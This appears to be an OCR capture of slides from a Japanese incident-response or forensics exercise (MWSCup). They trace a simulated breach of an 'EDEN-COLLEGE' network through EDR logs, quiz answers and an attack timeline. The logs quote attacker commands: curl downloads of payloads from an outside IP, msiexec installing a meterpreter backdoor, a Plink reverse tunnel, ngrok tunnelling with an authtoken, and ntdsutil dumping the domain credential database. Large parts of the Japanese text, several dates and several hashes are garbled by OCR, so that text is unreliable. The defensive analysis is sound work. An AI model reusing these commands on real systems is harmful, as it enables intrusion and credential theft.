pw_Ellllllleganunnnnnnnnnnyas!!! -P 22 -2 -4 -T -N -C -R
12345:127.0.0.1:445




6.2. Lateral Movement

BRE6.1 TEhN=Y—IF=ITFH—ERLEEZ &L,

- EZ&45: "Plink” (case insensitive)




6.1. 6.2. Lateral Movement

BIRE3. 1 TR DT=IP7 FLANGMD T 7 A4 JLZEF L TULVELY
MRS

cat WEB@l.log | grep 13.112.37.182

HRELT, curlC20o0 774 ILERHooO—FRKRLTWAS I EN
PhB

curl -o m.msi http://13.112.37.182/hs.msi

curl -o nn.exe http://13.112.37.182/n.exe




6.1. 6.2. Lateral Movement

nn.exeDFLEZ 1B 5

cat WEBQl.log | grep nn.exe | grep "subEvt=start"

10/01/2824 17:19:31.747 +0900 loc=ja-JP type=ITM2 sn=24393 lv=5 rf=C17 evt=ps subEvt=start os=Win
com="Webo1l" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=188dc826-9087-4520-beb4-3992cc4f80a5
csid=S-1-5-21-265103748-3596779852-4006323636 ip=172.16.4.101,fe80::9556:4ca:371b:5ed3
mac=06:bf:16:7c:d3:c7 usr="green" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{CA55C684-2E81-4416-BD86-1C336189C814} psPath="C:\Windows\System32\nn.exe" cmd="tcp 172.16.2.1081:3389"
psID=5876 parentGUID={A2A87EF5-A556-4836-B507-20F3ED54AAB8} parentPath="C:\Windows\SYSTEM32\cmd.exe"
psUser="Green" psDomain="EDEN-COLLEGE" arc=x64
sha256=9b18df84a96f68f8726d26bch61a86a984d8fdade5e8c2641ad91d183de28bes
shal=a2d7898d488b08294d659c88ed439bc5c8352d65 md5=4135fe39c7a56d4d4e6a3a86d7ee3f77 fileDesc="The ngrok
agent gets you online in one line." product="ngrok agent" productVer="3.16.0" crTime="10/01/2024
17:18:59.418" acTime="10/01/2824 17:18:59.902" moTime="10/01/2024 17:18:59.902" size=27545832
sig=Invalid signer="Ngrok, Inc." issuer="DigiCert Trusted G4 Code Signing RSA4096 SHA384 2621 CA1"

cerSN="88 3a 42 d3 31 cl1l 5f d9 8d 28 31 5d 15 d9 e3 f7" validFrom="05/30/2024 ©9:00:00.000" validTo="08/
28/2027 ©8:59:59.000"




6.1. 6.2. Lateral Movement

ngrokhMEHNTLNS Z ENM Y. 51#H 5DCOLMRDPAAR—
b (3389) AD LU RILMELNTWNNSZ L AN D,

=2 : https://ngrok.com/docs/tcp/

o

i)

A
6.1. nn.exe tcp 172.16.2.101:3389
6.2. ngrok (ngrok agent¥ A])



https://ngrok.com/docs/tcp/

6.3. Lateral Movement

BREG.IMNBELIAM V2 —3*Y FEDIP7 FLRAZIRTEAREL
(172.16.0.0/20D T 54 RX— MIPIXERFE)

-J4A—< v bk GEiEER) ([ IP7PRLAZHRERYY TH|E
- @& (EEdAzX) :203.0.113.0,203.0.113.2




6.3. Lateral Movement

nn.exeDBIEL ZFawk THET 5

cat WEBQl.log | grep 'psPath=¥"C¥:¥¥Windows¥¥System32¥¥nn.exe¥"'
| grep "evt=net subEvt=con" | awk -F 'dstIP=' '{print $2}' | awk
-F ' ' "{print $1}' | sort | unigq

172.16.2.101
3.164.110.126
52.196.202.158
52.202.168.65

A.3.164.110.126, 52.196.202.158, 52.202.168.65




Endpoints

s point for anything you use with ngrok. Endpoints include TCP addresses or domains for apps
ted amount of

An Endpoint is the acces!
you put online, or devices you connect to with ngrok. Development and free plans come with an alloc

endpoints. For pay-as-you go endpoint usage, upgrade to a Pay-as-you-go plan.

O APIDocs

Q Filter endpoin
Created %

Region % URL 4

FoTsei @ GLOBAL tep:f/0.tcp.jp.ngrok.io:13974




M EEFH HME S token

18/01/2024 17:19:14.574 +0900 loc=ja-JP type=ITM2 sn=24376 lv=5 rf=C1l7 evt=ps subEvt=start os=Win
com="Web@l" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=108dc826-9087-4520-be64-3992cc4f80a5
csid=5-1-5-21-265103748-3596779852-4006323636 ip=172.16.4.101,fe86::9556:4ca:371b:5ed3
mac=06:bf:16:7c:d3:c7 usr="green" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{5E97A1AE-9A25-4459-8496-D9D8898EBF75} psPath="C:\Windows\System32\nn.exe" cmd="config add-authtoken
2mDw3Z0GzmZ4jeZxoL46reeeRTF_3276SYCylnqgwYMRKatly"” psID=6128 parentGUID=
{A2A87EF5-A556-4836-B507-20F3ED54AAR8} parentPath="C:\Windows\SYSTEM32\cmd.exe" psUser="Green"
psDomain="EDEN-COLLEGE" arc=x64 sha256=9bl18df84a96f68f8726d26bc661a86a984d8fdade5e8c2641ad91d103de28be5
shal=a2d7898d488b08294d659c88ed439bc5¢c8352d65 md5=4135fe39c7a56d4d4eb6a3a8bd7ee3f77 fileDesc="The ngrok
agent gets you online in one line." product="ngrok agent" productVer="3.16.8" crTime="18/01/2824
17:18:59.418" acTime="10/01/2024 17:18:59.902" moTime="18/01/2024 17:18:59.902" size=27545832
sig=Invalid signer="Ngrok, Inc."™ issuer="DigiCert Trusted G4 Code Signing RSA4096 SHA384 2821 CA1l"
cerSN="68 3a 42 d3 31 cl 5f d9 8d 28 31 5d 15 d9 e3 f7" validFrom="©5/30/2624 ©9:00:00.000" validTo="08/
28/2027 ©8:59:59.000"




hs.msi (h.msi) 7 7 4 JLIZDUNT

E{RE L TIE. meterpreterE VS5 C2E—a U Z#EEIT D=6 D T
Vi 1%

Ay 00— K#I1Z msiexec TEELTLYS

10/01/2024 17:10:37.785 +0900 loc=ja-JP type=ITM2 sn=24295 lv=5 rs=4 trs=611 evt=ps subEvt=start os=Win
com="Web@l1l" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=188dc826-9087-4520-be64-3992cc4f80a5
csid=S-1-5-21-265183748-3596779852-4806323636 ip=172.16.4.101,fe80::9556:4ca:371b:5ed3
mac=06:bf:16:7c:d3:c7 usr="green" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{E256B7FE-1432-40DA-9BD9-ASD8A78BFD4F} psPath="C:\Windows\SYSTEM32\cmd.exe" cmd="/s /c ""msiexec /quiet
gn /i m.msi""" psID=5920 parentGUID={B191FDB@-98DA-49CD-9E65-EA55C97D64A1}

parentPath="C: \xampp\php\php-cgi.exe" psUser="Green" psDomain="EDEN-COLLEGE" arc=x64
sha256=54724f38ff2f85c3ff91de434895668b6f39008fc285a668ab6aafad6fb4ado3d

shal=3fbd42e2460c2eeb2dfell5ad4468a2b954d24958 md5=503eel@9ceS5cac4bd61084cb28fbd200 company="Microsoft
Corporation" copyright="© Microsoft Corporation. All rights reserved." fileDesc="Windows Command
Processor"” fileVer="10.0.20348.2520 (WinBuild.160101.8800)" product="Microsoft® Windows® Operating
System"” productVer="10.0.20348.2520" crTime="06/14/2824 ©3:56:17.598" acTime="06/14/20824 ©3:56:17.746"

S L I,



hs.msi (h.msi) 7 7 4 JLIZDUNT

conhost.exeht2EI 9 3

18/01/2e24 17:10:37.800 +0900 loc=ja-JP type=ITM2 sn=24296 lv=5 rs=4 trs=615 evt=ps subEvt=start os=Win
com="Web@1l" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=108dc826-9087-4520-be64-3992cc4f80a5
€sid=S-1-5-21-265183748-3596779852-4006323636 ip=172.16.4.101,fe86::9556:4ca:371b:5ed3
mac=06:bf:16:7c:d3:c7 usr="green" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{885FCBB8-A158-451D-8081-PEBF1BF6E851} psPath="C:\Windows\System32\conhost.exe" cmd="@xffffffff

-ForceV1l" psID=4920 parentGUID={E250B7FE-1432-40DA-9BD9-ASD8A78BFD4F}

parentPath="C: \Windows\SYSTEM32\cmd.exe" psUser="Green" psDomain="EDEN-COLLEGE" arc=x64
sha256=b3084261225c16993891e33fb189714e1b9dfclf45919a85aleBa9db4313497e4
shal=16e64043c60112957alf8c9ffb3eb463a60858a@ md5=a@d79d2144defce3671bdaca5f1lcf395 company="Microsoft
Corporation” copyright="© Microsoft Corporation. All rights reserved." fileDesc="Console Window Host"




hs.msi (h.msi) 7 7 4 JLIZDUNT

MSIFAFC.tmp A& 3 %

18/081/2024 17:10:38.722 468900 loc=ja-JP type=ITM2 sn=24297 lv=5 rf=C1l6 evt=ps subEvt=start os=Win
com="Web@l" domain="EDEN-COLLEGE" profile="MWSCup_server"” tmid=108dc826-9087-4520-be64-3992cc4f80a5
csid=S-1-5-21-265103748-3596779852-4006323636 ip=172.16.4.101,fe80::9556:4ca:371b:5ed3
mac=06:bf:16:7c:d3:c7 usr="green" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=

{4B851CD@-D931-4DE3-9BDD-D8581D2B79@D} psPath="C:\Windows\Installer\MSIFAFC.tmp" psID=59@8
psUser="Green" psDomain="EDEN-COLLEGE" arc=x64 packed=1 impKrnlCnt=2
sha256=8f33fde8531239268fed46fc223517fa7126a63955e2e7e4ea783bc7c4086870
shal=8e509c28312c072bda9b1b21a71b63855f3579d8 md5=9ee550ad4935d3bca807cbc73b952b58 crTime="10/01/2024
17:10:38.706" acTime="10/01/2024 17:10:38.706" moTime="10/01/2024 17:10:38.706" size=126976 sig=None




hs.msi (h.msi) 7 7 4 JLIZDUNT

ZNDTAtEAN13.112.37.182N0HR— F443 L BIEEZ T B
ZDIP7 FLRIlZcurld7otR%&EERL

18/01/2024 17:10:38.910 40960 loc=ja-JP type=ITM2 sn=24299 lv=5 rf=C1l6 evt=net subEvt=con os=Win
com="Web®1l" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=168dc826-9087-4520-be64-3992cc4f80a5
csid=S-1-5-21-265103748-3596779852-40806323636 ip=172.16.4.101,fe80::9556:4ca:371b:5ed3

mac=06:bf:16:7c:d3:c7 usr="green" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{4B851CD@-D931-4DE3-9BDD-D8581D2B79@8D} psPath="C:\Windows\Installer\MSIFAFC.tmp" srcIP=172.16.4.1e1
srcPort=5357@ dstIP=13.112.37.182 dstPort=443




7. Exfiltration

MIRE6. 1 CHEL IN- o RILZFALI=-EY a3 ZFALT.
FILEO2WW L H B 774 LA EFELHINTLS,

BEHINET77MILDITI7AIILVEEEZR K,
- [EZ&4I: filename.txt (case sensitive)




7. Exfiltration

DCO1AMileQ2IZxt L TIT 2= 7M1 ILARY RZFARD

cat DCO1l.log | grep "evt=file" | grep -i file@2

10/01/2024 17:24:10.477 +0900 loc=en-US type=ITM2 sn=73219 lv=5 evt=file subEvt=copy os=Win com="DCe1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=f@2ccal4-4aae-402b-a8d9-2a2873957095
csid=S-1-5-21-1720067203-2924128797-2708492278 ip=172.16.2.101,feB80::74c9:7795:ebll:ce@
mac=06:00:f2:4b:34:cd rcCom="kali" rcIP=192.168.0.24 usr="Viehmann" usrDomain="EDEN-COLLEGE" sessionID=4
psGUID={86FA2FPA-6A1D-4BE@-854B-35B0C8F042D8} psPath="C:\Windows\Explorer.EXE" path="\\FILE®2.
eden-college.local\Publicfolder\Teacher.zip” mntFld="\\FILE®2.eden-college.local\Publicfolder"
drvType=Net dstPath="\\tsclient\ home user_share\Teacher.zip" dstMntFld="\\tsclient\_ home user_ share"
dstDrv=Net sha256=f293fbcla54b536badb57da®114d58b7c18c4bbd39aac52fa7841e968f028e3e crTime="18/61/2024
17:24:10.000" acTime="18/81/2024 17:24:10.000" moTime="18/01/2024 17:24:00.000" size=5110@




7. Exfiltration

tsclient®sharelIRDPDIEHZITD T+ ILF —F TR T,

:é%774»§:€—?6:af\774»§ﬁ6m¢:tﬁ
T o Remote Connection Profile

Name
Group
Labels |

A - TeaC h e r . Z I p Protocol © RDP - Remote Desktop Protocol

Basic Advanced Behavior SSHTunnel Notes

Server 0.tcp.jp.ngrok.io:13974

Username Viehmann

Password

Domain eden-college

Share folder [home/user/share
Restricted admin mode

Password hash

Save and Connect

Cancel Save as Default




8.1. Incident Response

Proxy.loghh b, MEHIZK > TITHNT-1B{E THEE T Z SUser-
AgentZ I N TEZ K,

- 74 —< vk (BE=X) : BUser-AgentZx 11T = & [ZEEah




8.1. Incident Response

Proxy.log I25& > TWWASHEBZDBEEIFWS01I b FE L F=RD2D

e curlThs.msiz BT L f=FFD&{E
WS01.log®sn=19125

e hs.msih 5 FCE) L f=meterpreter®@1{E
WSO01.log®hsn=19134

Eb b EH@EESLIL 13.112.37.182




8.1. Incident Response

13.112.37.18 & MBIE TH A& L f=User-Agentz#itH 9 %

cat Proxy@l.log | grep 13.112.37.182 | awk -F'"' '{print $6}' |

sort | unigqg

A,
curl/7.83.1

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15 7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0
Safari/537.36




8.2. Incident Response

Proxy@ 7 [ZIEF& > TULMVELeurla~v > REFIALTH
IJ7AINDITFANBEBTEA L, 773 20TI7A
=8Ik, TOI77AINEBTEZLH &,

J4#—<v b GERR) 175 EI2T7AM IR ZEE
[=] 25451

filel.txt
file2.txt



8.2. Incident Response

Proxy 0 % (25 5 2 LY\WEBOLA & Dcur 2D W THE T 5

cat WEBQl.log | grep curl.exe | grep "subEvt=start"




8.3. Incident Response

KREENMREICFALEZE7AD Y FMAZIRTEA L,
EIR A%

1. Henderson

2. Swan

3. Evans

4. Donna

5. Green

6. Viehmann

-JA—< v k:
(AR—RTE
1,

- [EEH:

ié;gbl )i HBEIRBRZEHMFENPSVREIZHL Y () RUIY TIHERS,

00
[3;




8.3. Incident Response

WEENFALETZ DD Y FMERD2D

e Green
WEBO1~NDEA D 5WS01A D1 R

e Viehmann
DCOTADERRNSFILEO2DEE=1L,

A. 5,6




8.4. Incident Response

ROZREND ., HEEHICLDITHTHERINEZIDZIRNTEAL,
1.Nv 79 I~70) SE

2. B9 OH|kk

3. EEFEHRDFHH L

4. BImR~NDEMEZ XV EEH

5. ¥—0OH—MDHKE

6. YLD TTIZKSImEKDEBEFAL

7.9LToo% VT T

7#—7vhéflié%ﬁ&%ﬂ%ﬁméuMEﬁyvmBWUfﬁ&éo
(RAR—RI[FEFLLY)
EZH: °1,3,5




8.4. Incident Response

INFETOTMTHN>TLDHDLD

o NV FT7MDERE
meterpreter

o BEIFAILDEFELHL
Teacher.zip@D#FHH L




8.4. Incident Response

NT Directory Services® 7 7 A1 ILEFHH L

10/01/2024 17:21:36.837 +08900 loc=en-US type=ITM2 sn=73056 lv=5 evt=ps subEvt=start os=Win
com="DC@1" domain="EDEN-COLLEGE" profile="MWSCup_server"
tmid=f@2ccald-4aae-402b-a8d9-2a2873957095 csid=S-1-5-21-1720067203-2924128797-2708492278 ip=172.
16.2.101,Te80::74c9:7795:ebll:ce@ mac=06:00:f2:4b:34:cd rcCom="kali" rcIP=192.168.0.24
usr="Viehmann" usrDomain="EDEN-COLLEGE" sessionID=4 psGUID=

{FE10287A-44C0-4BB7-BA9F-CCF398C1ECA6} psPath="C:\Windows\system32\ntdsutil.exe" cmd="""ac i
ntds"" ""ifm"" ""create full c:\copy-ntds"" quit quit"™ psID=7408 parentGUID=
{9BF4ABA6-17D7-45F9-A79A-5300EAE855AB} parentPath="C:\Windows\system32\cmd.exe"
psUser="Viehmann" psDomain="EDEN-COLLEGE" arc=x64




8.4. Incident Response

NT Directory Services® 7 7 A1 ILEFHH L

19/01/2024 17:22:48.185 +0900 loc=en-US type=ITM2 sn=73168 lv=5 evt=file subEvt=copy os=Win
com="DCe1" domain="EDEN-COLLEGE" profile="MWSCup_server"
tmid=f62ccald-4aae-402b-a8d9-2a2873957095 csid=S5-1-5-21-1720867283-2924128797-2788492278 ip=172.
16.2.101,fe80::74c9:7795:ebll:ce@ mac=06:00:12:4b:34:cd rcCom="kali" rcIP=192.168.8.24
usr="Viehmann" usrDomain="EDEN-COLLEGE" sessionID=4 psGUID=

{86FA2F@A-6A1D-4BE@-854B-35B0C8F042D8} psPath="C:\Windows\Explorer.EXE"
path="C:\copy-ntds\Active Directory\ntds.jfm" drvType=HDD

dstPath="\\tsclient\_home_user_share\copy-ntds\Active Directory\ntds.jfm"
dstMntFld="\\tsclient\_home_user_share”™ dstDrv=Net
sha256=8a62ab5d4fe46bf72f74735e1d9f633df0cO7f2801534fc406e2f7411467fb89 crTime="18/01/2024
17:22:48.000" acTime="10/01/2024 17:22:48.000" moTime="10/01/2024 17:21:48.000" size=16384




8.4. Incident Response

1. \v 9 R 7DEE

2. AT DOHEIk

3. BEFHROEFELHL

4, BIHGERANDEMEZ R T BH

5. F—0OH—0DHKE

6. VY LI ITTIZLBIHKRDEEIE
7. 9LToo% )T T

A.1,3,7




8.5. Incident Response

ROFJIREMN S, HEENMERFAOCHSGHLICFIALEZY—IL - H—EXRZIRTEAL

1. Cobalt Strike 6. WMI
2. RemoteDesktopProtocol 7. SSH
3. WinRM 3 SMB
4. Powershell 9 ETP
5. Pskxec

10. TeamViewer

A=y b BTEEIRRRERTANS VECH LT () BYY TERD, (RR—Z
FEEHLY

- [EZH: 1,35




8.5. Incident Response

2. RemoteDesktopProtocol

— DCO1~DIEER

3. WinRM

— WS01~ D1 B B

4. Powershell

— DCO1M SFILEQ2MD e E

6. WMI

— DCO1A S FILEO2MbitlockerDiR{E4 £

8. SMB

—> DCOLM LD I 7AILFBH LG E A.2,3,4,6,8




8.6. Incident Response

CNETOMIOZTOMO T DTN S, REBEIZHDTHED
HLADS S USROUBEN LDy ~E 2L EBREST

(B H&EHh)




8.6. Incident Response

R

» WEBEFEQIP7 FLAOTAOYY

s WebH—/N\—DPHPZ /Ny FEFEH/\—T 3 VIZCEH
s /N K7 (meterpreter. ngrok’i &) DRE

m 1—H— - SRXTFLDINRAT—FDEE




17:04:20

17:04:40
17:05:32
17:08:05
17:10:26
17:11:43

17:12:25

17:13:21
17:15:00

Initial
Access

Discovery
Discovery
Discovery
C2

Lateral
Movement

c2

Discovery

Credential
Access

webO0TDXAMPPICExploit

R RIREDHE
BloodHoundZ#53AATHET
BloodHoundMfERERSEHL
meterpreterzf5;AATREIT
WIinRMTWeb01HM5WSO1ICHERRH

meterpreterzF5AA TELT

BHELREDHE

Royal TSOOLFT v IL 74l (rtsz)
¥

EEALFEH

WebO1

Green




Timestamp

17:19:05

17:20:33

17:21:37

17:24:14
17:26:08

Tactics

C2

Lateral
Movement

Credential
Access

Exfiltration

Impact

Event

Narokz#H51 A T1 U F—R Y EN5Web01ZE#2HL T
DCO1ICRDPTCE% L5293

DCO1ICRDP G

ntdsutil.exeZFHL\=NTDSDOEE

FILEO2 DT 71 IV MRDPIEEHETORFEHL

FILEO2%Bitlocker sS4t

Host

User

Green

Viehmann




Thank you!!
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